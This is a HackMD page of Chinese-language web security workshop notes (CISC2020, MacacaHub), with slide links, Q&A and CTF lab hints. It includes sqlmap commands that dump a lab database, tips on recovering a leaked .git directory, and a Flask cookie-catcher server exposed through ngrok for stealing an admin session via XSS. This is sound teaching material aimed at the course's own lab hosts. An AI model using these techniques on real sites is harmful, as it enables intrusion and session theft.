# CISC2020 - Web Training :::success 主題 : <font color=red>基礎</font>網頁安全演練 >[name=MacacaHub] :::  ## Lab ### [MacacaHub-WebTraining](https://ctf.macacahub.tw) > 用 NSYSU wifi 可能會連不上,可以的話請自備網路 > 不行的話我們會開網路分享QwQ --- ## Section 01 基本網頁概論 ### [slide 投影片點我><](https://drive.google.com/file/d/1pTlwgimESkYohAHlPzEcyN8BrvzSoNxL/view?usp=sharing) ### Q&A - [x] Q.1 請問投影片會給嗎? > 給啦,哪次不給。 > [name=yctseng][color=#B5E853] - [x] Q.2 只要你懂網站 網站就會幫助你 > ??? > [name=yctseng][color=#B5E853] - [x] Q.3 cfh 阿我就怕被罵啊 - [ ] Q.4 ## Section 02 網站資訊收集 ### [slide 投影片點我><](https://drive.google.com/file/d/1KxtzKjzevmpmRMDWI6ii3_MIpSRo4dZi/view?usp=sharing) ### Q&A - [ ] Q. \csy教我/ ### Lab Hint #### Spider Block - /robots.txt 好像有什麼東西... - 人就喜歡做壞壞的事 看到disallow當然要戳一下啊 #### Version Control - /.git 欸? 居然是 forbidden (error 403) 講師好像有介紹過什麼工具... GitHacker? - 還有 到底什麼是 git ? 該如何還原紀錄呢>< <!--$ git checkout [version]--> > hint: 如果是第一次接觸的同學,可以瞭解一下git,另外GitHacker有些python套件可能也需要研究一下 (e.g. requests) > [name=yctseng][color=#B5E853] > 幫分享,老鐵們快來撿裝甲包:https://www.jianshu.com/p/0ea09975169d > 挖 樓上看起來黑黑的,好害怕>q< > [name=yctseng][color=#B5E853] #### Wordpress - !!! 我偷偷用了講師介紹的 **Wappalyzer套件** 看到網站好像是用wordpress架的 - 嗯 既然知道wordpress,好像有個後台登入介面叫做 /wp-admin - 可是好像沒有帳號,該怎麼辦呢QwQ ## Section 03 注入攻擊與防禦 ### [slide 投影片點我><](https://drive.google.com/file/d/1D4JJqH6oAMWSSWYqc8ErEHpBowTlD7pB/view?usp=sharing) ### Q&A - [ ] Q. 請問有人在這裡問問題嗎? > 沒有QwQ > [name=yctseng][color=#B5E853] ### Lab Hint #### News - 雖然還沒開始上課,不過我剛剛好像偷偷聽到了什麼 sqlmap 🧐🧐🧐 > hint: sqlmap 的使用案例參考 https://ssorc.tw/7641/sql-注入-sqlmap-弱點測試/ > [name=yctseng][color=#B5E853] <!-- $ sqlmap -u https://lab3-2.macacahub.tw/new.php\?id\=1 --dbs $ sqlmap -u https://lab3-2.macacahub.tw/new.php\?id\=1 -D newsdb --tables $ sqlmap -u https://lab3-2.macacahub.tw/new.php\?id\=1 -D newsdb --tables --dump FLAGS --> #### Error Message - 又是登入頁面...唉 - 欸幹等等 怎麼user/user就登入了,還要我講笑話???? - (輸入) 「館長參加原住民抽獎」 ... not funny ????????? > hint: https://lab3-1.macacahub.tw/login.php > 輸入錯的帳號密碼,可以看到??? > [name=stavhaygn][color=#B5E853] ```python= from flask import Flask, request from flask_cors import CORS #接收來自不同domain的request app = Flask(__name__) CORS(app) @app.route('/') def index(): cookie = request.args.get('c', None) if cookie: return cookie return 'Test' if __name__ == '__main__': app.run(host='0.0.0.0', port=1234) ``` > Hint: 透過上面的code只能在我們本機端架出一個網站(127.0.0.1) > 可以利用 [ngrok](https://ngrok.com/download) 暫時幫我們在外開一個public ip幫我們接收這一題的session > [name=yctseng][color=#B5E853] 拼出Javasript來撈admin session, e.g. JS fetch https://developer.mozilla.org/zh-TW/docs/Web/API/Fetch_API/Using_Fetch   <style> .navbar-brand > span.hidden-xs { color: transparent; } .navbar-brand > span.hidden-xs:after { margin-left: -3.8em; content: 'MacacaHub Web Training'; color: #4b4645; } .navbar-brand > .fa-file-text { display: none; } </style>
×
Sign in
Email
Password
Forgot password
or
By clicking below, you agree to our
terms of service
.
Sign in via Facebook
Sign in via Twitter
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Wallet (
)
Connect another wallet
New to HackMD?
Sign up